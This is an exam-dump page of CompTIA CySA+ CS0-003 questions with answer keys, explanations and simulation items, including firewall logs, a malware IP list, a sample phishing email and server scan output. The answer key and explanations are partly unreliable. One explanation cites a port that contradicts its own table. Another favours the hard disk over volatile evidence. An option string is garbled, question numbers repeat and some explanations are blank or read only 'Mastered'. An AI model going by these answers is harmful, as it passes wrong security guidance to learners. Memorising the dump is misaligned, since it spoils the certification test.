

## CS0-003 Dumps

### CompTIA CySA+ Certification Beta Exam

<https://www.certleader.com/CS0-003-dumps.html>



**NEW QUESTION 1**

During a security test, a security analyst found a critical application with a buffer overflow vulnerability. Which of the following would be best to mitigate the vulnerability at the application level?

- A. Perform OS hardening.
- B. Implement input validation.
- C. Update third-party dependencies.
- D. Configure address space layout randomization.

**Answer: B**

**Explanation:**

Implementing input validation is the best way to mitigate the buffer overflow vulnerability at the application level. Input validation is a technique that checks the data entered by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent common web application attacks such as SQL injection, cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute malicious code or commands on the server or the client side. By validating the input before allowing submission, the web application can reject or sanitize any malicious or unexpected input, and protect the application from being compromised<sup>12</sup>. References: How to detect, prevent, and mitigate buffer overflow attacks - Synopsys, How to mitigate buffer overflow vulnerabilities | Infosec

**NEW QUESTION 2**

A company has the following security requirements:

- No public IPs
- All data secured at rest
- No insecure ports/protocols

After a cloud scan is completed, a security analyst receives reports that several misconfigurations are putting the company at risk. Given the following cloud scanner output:

VM name	VM_DEV_DB	VM_PRD_Web01	VM_DEV_Web02	VM_PRD_DB
IP config	private	public	public	public
Encrypt	no	yes	yes	no
Ingress port	443, open	3389, open	22, open	80, open

Which of the following should the analyst recommend be updated first to meet the security requirements and reduce risks?

- A. VM\_PRD\_DB
- B. VM\_DEV\_DB
- C. VM\_DEV\_Web02
- D. VM\_PRD\_Web01

**Answer: D**

**Explanation:**

This VM has a public IP and an open port 80, which violates the company's security requirements of no public IPs and no insecure ports/protocols. It also exposes the VM to potential attacks from the internet. This VM should be updated first to use a private IP and close the port 80, or use a secure protocol such as HTTPS.

References[CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition], Chapter 2: Cloud and Hybrid Environments, page 67.[What is a Public IP Address?][What is Port 80?]

**NEW QUESTION 3**

The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks?

- A. Reduce the administrator and privileged access accounts
- B. Employ a network-based IDS
- C. Conduct thorough incident response
- D. Enable SSO to enterprise applications

**Answer: A**

**Explanation:**

The best priority based on common attack frameworks for a new program to reduce attack surface risks and threats as part of a zero trust approach is to reduce the administrator and privileged access accounts. Administrator and privileged access accounts are accounts that have elevated permissions or capabilities to perform sensitive or critical tasks on systems or networks, such as installing software, changing configurations, accessing data, or granting access. Reducing the administrator and privileged access accounts can help minimize the attack surface, as it can limit the number of potential targets or entry points for attackers, as well as reduce the impact or damage of an attack if an account is compromised.

**NEW QUESTION 4**

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?

- A. CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/1: K/A: L

- B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
- C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
- D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

**Answer:** A

**Explanation:**

This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: <https://nvd.nist.gov/vuln-metrics/cvss>

**NEW QUESTION 5**

An organization has tracked several incidents that are listed in the following table:

Start time	Detection time	Time elapsed in minutes
7:20 a.m.	10:30 a.m.	180
12:00 a.m.	2:30 a.m.	150
9:25 a.m.	12:15 p.m.	170
3:25 p.m.	5:45 p.m.	140

Which of the following is the organization's MTTD?

- A. 140
- B. 150
- C. 160
- D. 180

**Answer:** C

**Explanation:**

The MTTD (Mean Time To Detect) is calculated by averaging the time elapsed in detecting incidents. From the given data:  $(180+150+170+140)/4 = 160$  minutes. This is the correct answer according to the CompTIA CySA+ CS0-003 Certification Study Guide1, Chapter 4, page 161. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4, page 153; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4, page 161.

**NEW QUESTION 6**

An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?

- A. Eradication
- B. Recovery
- C. Containment
- D. Preparation

**Answer:** A

**Explanation:**

Eradication is a step in the incident response process that involves removing any traces or remnants of the incident from the affected systems or networks, such as malware, backdoors, compromised accounts, or malicious files. Eradication also involves restoring the systems or networks to their normal or secure state, as well as verifying that the incident is completely eliminated and cannot recur. In this case, the analyst is remediating items associated with a recent incident by isolating the vulnerability and actively removing it from the system. This describes the eradication step of the incident response process.

**NEW QUESTION 7**

An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

- A. Hard disk
- B. Primary boot partition
- C. Malicious files
- D. Routing table
- E. Static IP address

**Answer:** A

**Explanation:**

The hard disk is the piece of data that should be collected first in order to preserve sensitive information before isolating the server. The hard disk contains all the files and data stored on the server, which may include evidence of malicious activity, such as malware installation, data exfiltration, or configuration changes. The hard disk should be collected using proper forensic techniques, such as creating an image or a copy of the disk and maintaining its integrity using hashing algorithms.

**NEW QUESTION 8**

An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?

- A. Scope
- B. Weaponization
- C. CVSS
- D. Asset value

**Answer: B**

**Explanation:**

Weaponization is a factor that describes how an adversary develops or acquires an exploit or payload that can take advantage of a vulnerability and deliver a malicious effect. Weaponization can increase the severity or impact of a vulnerability, as it makes it easier or more likely for an attacker to exploit it successfully and cause damage or harm. Weaponization can also indicate the level of sophistication or motivation of an attacker, as well as the availability or popularity of an exploit or payload in the cyber threat landscape. In this case, an older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. This indicates that weaponization was the reason for this escalation.

**NEW QUESTION 9**

An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned?

- A. To satisfy regulatory requirements for incident reporting
- B. To hold other departments accountable
- C. To identify areas of improvement in the incident response process
- D. To highlight the notable practices of the organization's incident response team

**Answer: C**

**Explanation:**

The most likely reason to include lessons learned in an after-action report is to identify areas of improvement in the incident response process. The lessons learned process is a way of reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying areas of improvement in the incident response process can help enhance the security posture, readiness, or capability of the organization for future incidents, as well as provide feedback or recommendations on how to address any issues or challenges.

**NEW QUESTION 10**

A Chief Information Security Officer wants to map all the attack vectors that the company faces each day. Which of the following recommendations should the company align their security controls around?

- A. OSSTMM
- B. Diamond Model Of Intrusion Analysis
- C. OWASP
- D. MITRE ATT&CK

**Answer: D**

**Explanation:**

The correct answer is D. MITRE ATT&CK.

MITRE ATT&CK is a framework that maps the tactics, techniques, and procedures (TTPs) of various threat actors and groups, based on real-world observations and data. MITRE ATT&CK can help a Chief Information Security Officer (CISO) to map all the attack vectors that the company faces each day, as well as to align their security controls around the most relevant and prevalent threats. MITRE ATT&CK can also help the CISO to assess the effectiveness and maturity of their security posture, as well as to identify and prioritize the gaps and improvements.

The other options are not the best recommendations for mapping all the attack vectors that the company faces each day. OSSTMM (Open Source Security Testing Methodology Manual) (A) is a methodology that provides guidelines and best practices for conducting security testing and auditing, but it does not map the TTPs of threat actors or groups. Diamond Model of Intrusion Analysis (B) is a model that analyzes the relationships and interactions between four elements of an intrusion: adversary, capability, infrastructure, and victim. The Diamond Model can help understand the characteristics and context of an intrusion, but it does not map the TTPs of threat actors or groups. OWASP (Open Web Application Security Project) © is a project that provides resources and tools for improving the security of web applications, but it does not map the TTPs of threat actors or groups.

**NEW QUESTION 10**

A security team identified several rogue Wi-Fi access points during the most recent network scan. The network scans occur once per quarter. Which of the following controls would best allow the organization to identify rogue devices more quickly?

- A. Implement a continuous monitoring policy.
- B. Implement a BYOD policy.
- C. Implement a portable wireless scanning policy.
- D. Change the frequency of network scans to once per month.

**Answer: A**

**Explanation:**

The best control to allow the organization to identify rogue devices more quickly is A. Implement a continuous monitoring policy. A continuous monitoring policy is a set of procedures and tools that enable an organization to detect and respond to unauthorized or anomalous activities on its network in real time or near real time. A continuous monitoring policy can help identify rogue access points as soon as they appear on the network, rather than waiting for quarterly or monthly scans. A continuous monitoring policy can also help improve the overall security posture and compliance of the organization by providing timely and accurate information about its network assets, vulnerabilities, threats, and incidents.

**NEW QUESTION 11**

An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender. Which of the following information security goals is the analyst most likely trying to achieve?

- A. Non-repudiation
- B. Authentication
- C. Authorization
- D. Integrity

**Answer:** A

**Explanation:**

Non-repudiation ensures that a message sender cannot deny the authenticity of their sent message. This is crucial in banking communications for legal and security reasons.

The goal of allowing a message recipient to prove the message's origin is non-repudiation. This ensures that the sender cannot deny the authenticity of their message. Non-repudiation is a fundamental aspect of secure messaging systems, especially in banking and financial communications.

**NEW QUESTION 15**

A Chief Information Security Officer wants to implement security by design, starting ..... vulnerabilities, including SQL injection, FRI, XSS, etc. Which of the following would most likely meet the requirement?

- A. Reverse engineering
- B. Known environment testing
- C. Dynamic application security testing
- D. Code debugging

**Answer:** C

**Explanation:**

Dynamic Application Security Testing (DAST) is used to detect vulnerabilities in running applications, including common issues like SQL injection, FRI, XSS, etc. It aligns with the goal of implementing security by design.

**NEW QUESTION 19**

A payroll department employee was the target of a phishing attack in which an attacker impersonated a department director and requested that direct deposit information be updated to a new account. Afterward, a deposit was made into the unauthorized account. Which of the following is one of the first actions the incident response team should take when they receive notification of the attack?

- A. Scan the employee's computer with virus and malware tools.
- B. Review the actions taken by the employee and the email related to the event
- C. Contact human resources and recommend the termination of the employee.
- D. Assign security awareness training to the employee involved in the incident.

**Answer:** B

**Explanation:**

In case of a phishing attack, it's crucial to review what actions were taken by the employee and analyze the phishing email to understand its nature and impact. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 246; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 255.

**NEW QUESTION 23**

**HOTSPOT**

A company recently experienced a security incident. The security team has determined a user clicked on a link embedded in a phishing email that was sent to the entire company. The link resulted in a malware download, which was subsequently installed and run.

**INSTRUCTIONS**

**Part 1**

Review the artifacts associated with the security incident. Identify the name of the malware, the malicious IP address, and the date and time when the malware executable entered the organization.

**Part 2**

Review the kill chain items and select an appropriate control for each that would improve the security posture of the organization and would have helped to prevent this incident from occurring. Each control may only be used once, and not all controls will be used.



Firewall log:

✕
**Firewall log**

Traffic denied:

Dec 1 14:10:46 fire00 fire00: NetScreen device\_id=fire00 [Root]system-notification-00257(traffic): policy\_id=119 service=udp/port:7001 proto=17 src zone=Trust dst zone=Untrust action=Deny sent=0 rcvd=0 src=192.168.2.1 dst=1.2.3.4 src\_port=3036 dst\_port=7001

Dec 1 14:12:31 fire00 aka1: NetScreen device\_id=aka1 [Root]system-notification-00257(traffic): policy\_id=120 service=udp/port:20721 proto=17 src zone=Trust dst zone=DMZ action=Deny sent=0 rcvd=0 src=192.168.2.2 dst=1.2.3.4 src\_port=53 dst\_port=20721

Dec 1 14:14:31 fire00 aka1: NetScreen device\_id=aka1 [Root]system-notification-00257(traffic): policy\_id=120 service=udp/port:17210 proto=17 src zone=Trust dst zone=DMZ action=Deny sent=0 rcvd=0 src=192.168.2.2 dst=1.2.3.4 src\_port=53 dst\_port=17210

Alert messages:

Dec 1 14:03:19 [xx] ns5gt: NetScreen device\_id=ns5gt [Root]system-alert-00016: invoice.exe From 81.161.63.253, proto TCP (zone Untrust, int untrust). Occurred 1 times.

Critical messages:

Dec 1 11:24:16 fire00 sav00: NetScreen device\_id=sav00 [Root]system-critical-00436: Large ICMP packet! From 1.2.3.4 to 2.3.4.5, proto 1 (zone Untrust, int ethernet1/2). Occurred 1 times.

[00001] 2005-05-16 12:55:10 [Root]system-critical-00042: Replay packet detected on IPSec tunnel on ethernet3 with tunnel ID 0x1c! From z.y.x.w to a.b.c.d/336, ESP, SPI 0xf63af637, SEQ 0xe337.

[00001] 2006-05-25 13:34:33 [Root]system-alert-00008: IP spoofing! From 10.1.1.238:80 to a.b.c.d:49807, proto TCP (zone Untrust, int ethernet3). Occurred 1 times.

File integrity Monitoring Report:

✕
**File integrity monitoring report**

Shows files, folders, shares, and permissions that were created, deleted, or modified.

Action	Object type	What	Who	When
<b>Added</b>	File	\\host1\users\user1\Downloads\payroll.xlsx	Domainusers\user1	11/30/19 12:05:34
Where: Workstation:	Host1 172.30.0.152			
<b>Removed</b>	File	\\host1\users\user1\Downloads\payroll.xlsx	Domainusers\user1	11/30/19 12:25:13
Where: Workstation: Date created:	Host1 172.30.0.152	"11/30/19 12:05:34"		
<b>Added</b>	File	\\host1\users\user1\Downloads\resume1.docx	Domainusers\user1	12/1/19 13:59:25
Where: Workstation:	Host1 172.30.0.152			
<b>Added</b>	File	\\host1\users\user1\Downloads\invoice.exe	Domainusers\user1	12/1/19 14:03:55
Where: Workstation:	Host1 172.30.0.152			
<b>Renamed</b>	File		Domainusers\user1	12/1/19 14:25:30
Where: Workstation: Name changed from:	Host1 172.30.0.152	resume1.docx to resume2.docx		

Malware domain list:

Malware domain list

```
# MalwareDomainList.com Host List #  
# http://www.maowaredomainlist.com/hostlist/hosts.txt #  
# Last updated: 3 Dec 2019, 21:00:00 #  
# IP #  
  
171.25.193.20  
171.25.193.25  
185.220.101.194  
81.161.63.103  
81.161.63.253  
77.247.181.162  
141.98.81.194  
46.101.220.225  
139.59.95.60  
51.254.37.192  
81.161.63.104  
139.59.116.115
```

Vulnerability Scan Report:

Vulnerability scan report

**HIGH SEVERITY**

**Title:** Cleartext transmission of sensitive information  
**Description:** The software transmits sensitive or security-critical data in Cleartext in a communication channel that can be sniffed by authorized users.  
**Affected asset:** 172.30.0.150  
**Risk:** Anyone can read the information by gaining access to the channel being used for communication.  
**Reference:** CVE-2002-1949

**HIGH SEVERITY**

**Title:** Elevated privileges not required for software installations  
**Description:** All account types can install software, requirements for privileged accounts for installation capabilities is not configured.  
**Affected asset:** 172.30.0.152  
**Risk:** Enhanced risk for unauthorized or malicious software installation  
**Reference:** n/a

**MEDIUM SEVERITY**

**Title:** Sensitive cookie in HTTPS session without "secure" attribute  
**Description:** The secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over HTTP session.  
**Affected asset:** 172.30.0.157  
**Risk:** Session sidejacking  
**Reference:** CVE-2004-0462

**LOW SEVERITY**

**Title:** Untrusted SSL/TLS Server X.509 certificate  
**Description:** The server's TLS/SSL certificate is signed by a certificate authority that is untrusted or unknown.  
**Affected asset:** 172.30.0.153  
**Risk:** May allow on-path attackers to insert a spoofed certificate for any distinguished name (DN).  
**Reference:** CVE-2005-1234

Phishing Email:

**Phishing email**



From: IT HelpDesk <it-helpdesk@company.com>  
Sent: Sun 12/01/2019 2:00:00  
To: Global Users <globalusers@company.com>  
Subject: Moving our mail servers

Hi,

In the upcoming days, we will be moving our mail servers. Check out the new Company Webmail to know if it has started working for you.

Visit the new Company Webmail to see all the new features.  
Use your current username and password at [Company Webmail](#).

Download the latest mail client located [here](#).

Thank you.

IT HelpDesk

The screenshot shows a kill chain diagram with several stages, each with a dropdown menu for selecting a control. The stages and their controls are:

- Phishing email:** Select control, Firewall file type filter, Honeypot, MFA, MAC filtering, Restricted local user permissions, Email filtering, Disk-level encryption, Updated antivirus, Network segmentation, Plain text email format, VPN, IP blocklist, Backups.
- Malware install:** Select control, Firewall file type filter, Honeypot, MFA, MAC filtering, Restricted local user permissions, Email filtering, Disk-level encryption, Updated antivirus, Network segmentation, Plain text email format, VPN, IP blocklist, Backups.
- Malware execution:** Select control, Firewall file type filter, Honeypot, MFA, MAC filtering, Restricted local user permissions, Email filtering, Disk-level encryption, Updated antivirus, Network segmentation, Plain text email format, VPN, IP blocklist, Backups.
- File encryption:** Select control, Firewall file type filter, Honeypot, MFA, MAC filtering, Restricted local user permissions, Email filtering, Disk-level encryption, Updated antivirus, Network segmentation, Plain text email format, VPN, IP blocklist, Backups.
- Malicious website access:** Select control, Firewall file type filter, Honeypot, MFA, MAC filtering, Restricted local user permissions, Email filtering, Disk-level encryption, Updated antivirus, Network segmentation, Plain text email format, VPN, IP blocklist, Backups.
- Malware download:** Select control, Firewall file type filter, Honeypot, MFA, MAC filtering, Restricted local user permissions, Email filtering, Disk-level encryption, Updated antivirus, Network segmentation, Plain text email format, VPN, IP blocklist, Backups.

On the right side, there are three dropdown menus for identifying specific indicators:

- Malicious executable:** Select option, invoice.exe, resume1.docx, resume2.docx, payroll.xlsx.
- Malicious IP address:** Select option, 81.161.63.103, 81.161.63.253, 171.25.193.20, 185.220.101.194, 192.168.2.1, 171.25.193.25, 10.1.1.238.
- Date/time malware entered organization:** Select option, 1 Dec 2019 11:24:16, 1 Dec 2019 14:03:19, 1 Dec 2019 14:03:55, 30 Nov 2019 12:05:34, 1 Dec 2019 14:25:30, 1 Dec 2019 13:59:25, 30 Nov 2019 12:25:13.

- A. Mastered
- B. Not Mastered

**Answer: A**

**Explanation:**



**NEW QUESTION 25**

An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

- A. SOAR
- B. SIEM
- C. SLA
- D. IoC

**Answer:** A

**Explanation:**

SOAR (Security Orchestration, Automation, and Response) is the best option to help the analyst implement the recommendation, as it reflects the software solution that enables security teams to integrate and coordinate separate tools into streamlined threat response workflows and automate repetitive tasks. SOAR is a term coined by Gartner in 2015 to describe a technology that combines the functions of security incident response platforms, security orchestration and automation platforms, and threat intelligence platforms in one offering. SOAR solutions help security teams to collect inputs from various sources, such as EDR agents, firewalls, or SIEM systems, and perform analysis and triage using a combination of human and machine power. SOAR solutions also allow security teams to define and execute incident response procedures in a digital workflow format, using automation to perform low-level tasks or actions, such as blocking an IP address or quarantining a device. SOAR solutions can help security teams to improve efficiency, consistency, and scalability of their operations, as well as reduce mean time to detect (MTTD) and mean time to respond (MTTR) to threats. The other options are not as suitable as SOAR, as they do not match the description or purpose of the recommendation. SIEM (Security Information and Event Management) is a software solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM solutions can help security teams to gain visibility, correlation, and context of their security data, but they do not provide automation or orchestration features like SOAR solutions. SLA (Service Level Agreement) is a document that defines the expectations and responsibilities between a service provider and a customer, such as the quality, availability, or performance of the service. SLAs can help to manage customer expectations, formalize communication, and improve productivity and relationships, but they do not help to implement technical recommendations like SOAR solutions. IoC (Indicator of Compromise) is a piece of data or evidence that suggests a system or network has been compromised by a threat actor, such as an IP address, a file hash, or a registry key. IoCs can help to identify and analyze malicious activities or incidents, but they do not help to implement response actions like SOAR solutions.

**NEW QUESTION 27**

A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal?

- A. function w() { a=\$(ping -c 1 \$1 | awk-F "/" 'END{print \$1}') && echo "\$1 | \$a" }
- B. function x() { b=traceroute -m 40 \$1 | awk 'END{print \$1}' && echo "\$1 | \$b" }
- C. function y() { dig \$(dig -x \$1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print\$1}').origin.asn.cymru.com TXT +short }
- D. function z() { c=\$(geoiplookup\$1) && echo "\$1 | \$c" }

**Answer:** C

**Explanation:**

The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:

```
function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}').origin.asn.cymru.com TXT +short }
```

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region

**NEW QUESTION 28**

An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

- A. Proprietary systems
- B. Legacy systems
- C. Unsupported operating systems
- D. Lack of maintenance windows

**Answer:** A

**Explanation:**

Proprietary systems are systems that are owned and controlled by a specific vendor or manufacturer, and that use proprietary standards or protocols that are not compatible with other systems. Proprietary systems can pose a challenge for vulnerability management, as they may not allow users to access or modify their configuration, update their software, or patch their vulnerabilities. In this case, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. This indicates that these systems and associated vulnerabilities are examples of proprietary systems as inhibitors to

remediation

**NEW QUESTION 32**

A security analyst received an alert regarding multiple successful MFA log-ins for a particular user. When reviewing the authentication logs, the analyst sees the following:

Time	Username	Application	Access device	MFA device
16:07 UTC	jdoe	Productivity Portal	1.2.3.4 (United States)	1.2.3.4 (United States)
16:11 UTC	jdoe	HR Portal	1.2.3.4 (United States)	1.2.3.4 (United States)
17:28 UTC	jdoe	Productivity Portal	3.4.5.6 (Russia)	1.2.3.4 (United States)
17:30 UTC	jdoe	Productivity Portal	1.2.3.4 (United States)	1.2.3.4 (United States)
17:31 UTC	jdoe	HR Portal	3.4.5.6 (Russia)	3.4.5.6 (Russia)

Which of the following are most likely occurring, based on the MFA logs? (Select two).

- A. Dictionary attack
- B. Push phishing
- C. impossible geo-velocity
- D. Subscriber identity module swapping
- E. Rogue access point
- F. Password spray

**Answer:** BC

**Explanation:**

C. Impossible geo-velocity: This is an event where a single user's account is accessed from different geographical locations within a timeframe that is impossible for normal human travel. In the log, we can see that the user "jdoe" is accessing from the United States and then within a few minutes from Russia, which is practically impossible to achieve without the use of some form of automated system or if the account credentials are being used by different individuals in different locations.

\* B. Push phishing: This could also be an indication of push phishing, where the user is tricked into approving a multi-factor authentication request that they did not initiate. This is less clear from the logs directly, but it could be inferred if the user is receiving MFA requests that they are not initiating and are being approved without their genuine desire to access the resources.

**NEW QUESTION 37**

Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

- A. Determine the sophistication of the audience that the report is meant for
- B. Include references and sources of information on the first page
- C. Include a table of contents outlining the entire report
- D. Decide on the color scheme that will effectively communicate the metrics

**Answer:** A

**Explanation:**

The best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach is to determine the sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience can help tailor the report content, language, tone, and format to suit their needs and expectations. For example, a report for executive management may be more concise, high-level, and business-oriented than a report for technical staff or peers.

**NEW QUESTION 39**

New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?

- A. Human resources must email a copy of a user agreement to all new employees
- B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement
- C. All new employees must take a test about the company security policy during the onboarding process
- D. All new employees must sign a user agreement to acknowledge the company security policy

**Answer:** D

**Explanation:**

The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new employees to sign a user agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of the users regarding the use of the company's systems, networks, or resources, as well as the consequences of violating the company's security policy. Signing a user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any breaches or incidents caused by their actions or inactions.

**NEW QUESTION 43**

**SIMULATION**

You are a cybersecurity analyst tasked with interpreting scan data from Company A's servers. You must verify the requirements are being met for all of the servers

and recommend changes if you find they are not  
The company's hardening guidelines indicate the following

- TLS 1.2 is the only version of TLS running.
- Apache 2.4.18 or greater should be used.
- Only default ports should be used.

**INSTRUCTIONS**

using the supplied data. record the status of compliance With the company's guidelines for each server.

The question contains two parts: make sure you complete Part 1 and Part 2. Make recommendations for Issues based ONLY on the hardening guidelines provided.

Part 1: AppServ1:

```

AppServ1  AppServ2  AppServ3  AppServ4

root@INFOSEC:~# curl --head appsrv1.fictionalorg.com:443

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
rDNS record for 10.21.4.68: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE
443/tcp   open  https

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
|_ TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
|_ compressors:
|_ NULL
|_ least strength: strong

Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds

root@INFOSEC:~# nmap --top-ports 10 appsrv1.fictionalorg.com

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-27 10:13 CDT

Nmap scan report for appsrv1.fictionalorg.com (10.21.4.68)
Host is up (0.15s latency).
rDNS record for 10.21.4.68: appsrv1.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http

```

AppServ2:

```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.3.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv2.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv2.fictionalorg.com (10.21.4.69)
Host is up (0.042s latency).
rDNS record for 10.21.4.69: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
```

AppServ3:

```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv3.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv3.fictionalorg.com (10.21.4.70)
Host is up (0.042s latency).
rDNS record for 10.21.4.70: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
```

AppServ4:

```
AppServ1 AppServ2 AppServ3 AppServ4
SERVER: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv4.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv4.fictionalorg.com (10.21.4.71)
Host is up (0.042s latency).
rDNS record for 10.21.4.71: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
443/tcp   open  https
| TLSv1.2:
|   ciphers:
|     TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
2:30:26 |     TLS_RSA_WITH_AES_128_CBC_SHA - strong
|     TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
```

### Compliance Report

Fill out the following report based on your analysis of the scan data.

- AppServ1 is only using TLS 1.2
- AppServ2 is only using TLS 1.2
- AppServ3 is only using TLS 1.2
- AppServ4 is only using TLS 1.2
- AppServ1 is using Apache 2.4.18 or greater
- AppServ2 is using Apache 2.4.18 or greater
- AppServ3 is using Apache 2.4.18 or greater
- AppServ4 is using Apache 2.4.18 or greater

Part 2:

### Configuration Change Recommendations

**+** Add Recommendation for AppSrv4 ▾

- AppSrv1
- AppSrv2
- AppSrv3
- AppSrv4**

---

**Server** AppSrv4 ▾

- AppSrv3
- AppSrv2
- AppSrv4**
- AppSrv1

**Service** ▾

- HTTDP Security**
- TELNET
- SSH
- MYSQL
- Apache Version

**Config Change** ▾

- Move to Port 443**
- Restrict To TLS 1.2
- Upgrade Version
- Move to Port 22
- Remove or Disable

- A. Mastered
- B. Not Mastered

**Answer:** A

**Explanation:**  
Part 1:

**Compliance Report**

